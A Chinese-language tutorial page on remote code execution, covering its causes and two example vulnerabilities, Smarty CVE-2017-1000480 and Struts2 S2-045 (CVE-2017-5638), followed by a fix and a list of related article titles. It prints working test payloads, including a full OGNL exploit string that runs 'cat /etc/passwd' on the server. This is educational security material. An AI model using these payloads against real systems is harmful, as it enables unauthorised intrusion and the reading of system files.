0x00 远程代码执行 - 介绍

1)什么是远程代码执行

远程命令执行 英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

2)远程代码执行的特点

远程代码执行是指攻击者可能会通过远调用的方式来攻击或控制计算机设备,无论该设备在哪里。

0x01 远程代码执行 - 风险等级

0x02 远程代码执行 - 原理

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

0x03 远程代码执行 - 常见场景

  • 使用了危险函数的Web应用
  • 低版本的Java语言Struts框架

0x04 测试方案

PHP中常见场景 - 模板引擎代码执行

Smarty简介

Smarty是一个PHP的模板引擎。更明确来说,它可以帮助开发者更好地 分离程序逻辑和页面显示。最好的例子,是当程序员和模板设计师是不同的两个角色的情况,而且 大部分时候都不是同一个人的情况。

CVE-ID : CVE-2017-1000480

产生原因:由于未对用户的输入点进行过滤,导致经过eval函数,造成代码执行

测试Payload:

*/phpinfo();/*

Java Struts2 (S2-045)

Struts 简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

CVE-ID : CVE-2017-5638

产生原因:由于未对用户输入点进行过滤,被带入ErrorMessage,当做OGLN表达式解析,造成代码执行

测试Payload:

%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0x05 修复方案

升级插件、框架新版本

rce漏洞 远程代码执行 简介相关推荐

  1. 【漏洞复现】CNVD-2022-10270向日葵远程代码执行

    声明:本文内容仅供学习参考 目录 声明:本文内容仅供学习参考 一.漏洞介绍 二.影响范围 三.漏洞复现 复现思路一: 复现思路二: 一.漏洞介绍 向日葵远程控制是上海贝锐信息科技股份有限公司开发的一款 ...

  2. Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行

    前言 原文地址:https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html 参考文档:https://blog.cs ...

  3. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  4. drupal cve-2018-7600 远程代码执行漏洞 简介

    漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...

  5. 远程代码执行(RCE)漏洞

    文章目录 1. fastjson 远程代码执行漏洞 2. 简单复现 3. 反弹shell 3.1 正向反弹shell 3.2 反向反弹shell 1. fastjson 远程代码执行漏洞 最近读到一篇 ...

  6. php代码执行漏洞,预警!!!PHP 远程代码执行漏洞

    一.前言 2019年10月22日,在github上公开了一个关于PHP的远程代码执行漏洞. 斗象智能安全CRS产品已全面支持该漏洞的检测与验证,用户可直接登陆www.riskivy.com 进行验证. ...

  7. Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务. 奇 ...

  8. CVE-2022-30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

    文章目录 免责声明 前言 一.漏洞简介 风险等级评判 二.影响版本 office版本 三.漏洞复现 复现环境 工具 使用方法 利用 第一种 第二种 防范避免 结尾 参考 免责声明 本文章仅供学习和研究 ...

  9. WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

    1.产品简介 Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发.部署和运行企业应用程序,例如 Java.WebLogic Server提供了Java Enter ...

最新文章

  1. 多账号统一登录(实现方案)
  2. 【Android 逆向】代码调试器开发 ( 使用 NDK 中的 ndk-build + Android.mk 编译 Android 平台的代码调试器可执行应用 )
  3. java 革命_JAVA数据库连接池的革命 -- 从BoneCP到HikariCP(转)
  4. 板邓:wordpress自定义登录页面实现用户登录
  5. BotSharp v0.2 发布, 支持微信智能回复
  6. 前端学习(1651):前端系列实战课程之json和字符串互转
  7. vue.js中的组件是什么?
  8. 【LeetCode】Sum Root to Leaf Numbers
  9. 计算机做减法运算的过程,32位汇编基础_计算机做加减乘除
  10. Linux嵌入式开发_修改镜像文件输出路径
  11. php 什么是 cookie? 会话 cookie 与持久性 cookie 之间 有何区别?
  12. Atitit 财政赤字解决方案
  13. Tomcat下发布war包产生两个不同版本的访问地址的解决方案appBase和docBase的关系
  14. 高级驾驶辅助系统ADAS技术介绍
  15. 好书收藏:读书知多少
  16. c# http put请求 通用http请求 post get put
  17. ST-GCN论文分析
  18. 简易性格测试题--你适合什么职业?
  19. 2022中式烹调师(初级)考试练习题及答案
  20. python哪个方向最容易上手_Python编程哪个方向容易上手

热门文章

  1. webp格式如何转换成jpg?
  2. 幼儿园分班问题 【Java】
  3. 服务器开超线程性能提升多少,超线程能提升处理器效率
  4. 谷歌chrome xp_从Chrome向Google笔记本添加便笺
  5. git.exe百度云链接及在官网下载总是失败的解决方法
  6. 西门子PLC进行连续数据采集、时序和故障追踪的方法
  7. STM32F4实现SD卡读写
  8. 前端代码规范参考和如何保持前端代码规范
  9. 全球最经典音乐推荐,装满mp3
  10. 在线聊天 java_java写在线聊天